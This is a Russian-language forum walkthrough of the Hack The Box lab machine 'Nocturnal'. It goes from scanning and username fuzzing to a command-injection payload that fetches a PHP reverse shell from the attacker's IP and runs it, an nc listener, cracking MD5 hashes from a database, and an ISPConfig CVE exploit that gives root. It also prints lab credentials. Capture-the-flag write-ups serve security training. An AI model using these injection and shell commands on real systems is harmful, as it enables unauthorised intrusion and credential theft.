- Сообщения
- 933
- Реакции
- 1.341
Итак, сегодня мы разберём машину Nocturnal | Linux easy.
После добавления nocturnal.htb в файл /etc/hosts запускаем первый скан. Я использую rustscan, так как он быстрее определяет открытые порты целевой системы.
Bash:
rustscan -a nocturnal.htb -- -A
Если вы используете nmap, то первый скан лучше запускать в таком формате:
Bash:
sudo nmap -p- <IP>
Это сэкономит ваше время, так как, запуская скрипты сканирования сразу, nmap будет пытаться применять их к каждому порту, который он сканирует. Лучше сначала найти открытые порты, а затем применять -A, -sV и т.д.
Результат сканирования показал следующие данные. Мы видим, что открыты SSH и HTTP серверы:
Код:
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
Перед проверкой веб-сервера я запустил Ffuf для поиска субдоменов:
Bash:
ffuf -u http://nocturnal.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -H "Host:FUZZ.nocturnal.htb" -mc 200
Одновременно с этим запустил dirsearch:
Bash:
dirsearch -u nocturnal.htb
Ffuf не дал никаких результатов, а вот dirsearch подсветил некоторые директории. Открыв страницу, читаем текст и видим возможность загружать файлы, а также возможность логина и создания аккаунта.
Создаём аккаунт и попадаем на соответствующую страницу. Попытки обойти санитайзер файлов ничего не дали, однако это навело на мысль. Внимательно посмотрев на ссылку, можно увидеть имя пользователя и путь к файлу:
Bash:
http://nocturnal.htb/view.php?username=user&file=fake.pdf
Если заменить fake.pdf на любое другое название файла и открыть ссылку, то нас перекинет на страницу с сообщением о том, что файл не обнаружен.
Открыв Burp Suite, я проверил, есть ли тут уязвимость LFI, но её не оказалось. Тем не менее, в Burp видно, что у нас есть куки сессии, которые также можно увидеть, используя Cookie-Editor для Firefox.
Исходя из всего вышеизложенного, я решил проверить возможность фаззинга никнеймов через URL строку. Для этого воспользовался gobuster:
Bash:
gobuster fuzz -H 'Cookie: <Ваша куки>' -u 'http://nocturnal.htb/view.php?username=FUZZ&file=fake.pdf' -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -t 200 -o fuzz_users.txt
Начинаем фаззинг и видим множество ответов в терминале. Чтобы он работал нормально, исключим длину неверного ответа:
Bash:
gobuster fuzz -H 'Cookie: <Ваша куки>' -u 'http://nocturnal.htb/view.php?username=FUZZ&file=fake.pdf' -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -t 200 -o fuzz_users.txt --exclude-length 2985
В итоге обнаруживаем несколько валидных пользователей. Проверив каждого из них, понимаем, что нужные данные есть только у пользователя с ником amanda.
Выгружаем их на свою машину и приступаем к изучению. В файле content.xml была найдена строка с паролем: arHkG7HAI68X8s1J.
В итоге заходим по следующим данным: amanda:arHkG7HAI68X8s1J.
Попав в админ-панель, мы получаем возможность читать исходные коды страниц и создавать бэкапы данных. В бэкапах изначально не нашёл ничего интересного и приступил к чтению кода.
В admin.php есть интересная функция - proc_open, которая передаёт входные данные в шаблон $command. Также имеется блэклист символов: [';', '&', '|', '$', ' ', '', '{', '}', '&&'] .
Обратите внимание, что тут нет двойной кавычки, и просто введя в строку пароля для бэкапа что-то вроде pass", мы получаем ответ с ошибкой, а это значит, что удалось стригерить shell.
Далее следует череда различных запросов к серверу через curl и проксирование ответа в Burp. В итоге был найден способ загрузить shell на сервер. Перед этим скачайте PHP shell и укажите свой tun0 IP и порт прослушивания.
Запускаем прослушивание порта через nc:
Bash:
nc -lvnp <порт>
Затем, через такую команду в терминале, загружаем и запускаем shell:
Bash:
curl -H 'Cookie: PHPSESSID=<Ваш куки>' 'http://nocturnal.htb/admin.php' \
--data 'backup=1' \
--data-urlencode "password=\"$(echo -ne 'curl\thttp://<IP tun0>/shell.php\t-O')" && curl -H 'Cookie: PHPSESSID=<Ваш куки>' 'http://nocturnal.htb/shell.php'
Ловим shell и стабилизируем его:
Bash:
1. python3 -c 'import pty;pty.spawn("/bin/bash")'
2. export TERM=xterm
3. Нажимаем Ctrl+Z
4. stty raw -echo; fg
Поняв, что мы находимся под пользователем www-data, идём в стандартный каталог cd /var/www.
Там обнаруживаем папку с БД, заходим в неё и видим файл БД. Его можно либо открыть на месте, либо скачать на свою машину.
В нём можно найти следующее:
Bash:
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|fodac|42c05216777b71043a519ee897d53850
Прежде чем ломать хэши, откроем /etc/passwd на машине цели и проверим, кто является системным пользователем, а кто нет.
В итоге у нас остаётся только tobias, его хэш и будем ломать.
Bash:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 --fork=4 hashes.txt
Получаем валидные данные: tobias:slowmotionapocalypse.
Подключаемся через SSH и начинаем проверку системы. Команда sudo -l показывает, что пользователь не имеет никаких прав, SUID тоже нет, а id тоже не даёт полезной информации. Однако, после выполнения команды:
Bash:
netstat -plutan | grep -i listen
Я обратил внимание на порт 8080, который открыт на локальном хосте.
Чтобы посмотреть на сервис, нужно выполнить port forwarding с вашей основной машины:
Bash:
ssh -L <назначьте какой-то порт>:127.0.0.1:8080 tobias@<IP цели>
После этого открываем у себя на машине 127.0.0.1:<назначенный порт> и видим панель ISPConfig. Попробовав разные варианты стандартных логина/пароля, я не добился успеха и решил поискать CVE для этого сервиса.
Я нашёл CVE-2023-46818 и соответствующий эксплойт на GitHub. Запустив его, я без труда получил доступ к системе от имени root пользователя. В конце пишем:
Bash:
cat /root/root.txt
и получаем финальный флаг.
На этом прохождение данной комнаты завершено. Если у вас есть вопросы, вы можете оставить их в комментариях под этим постом. Вскоре будет создан закреп для тех, кто вообще не понимает, что тут описано или понимает смутно. Разбор специально начат с лёгкой комнаты. Выходить будут исключительно онлайн машины на HTB, прохождения которых страйкает сама площадка.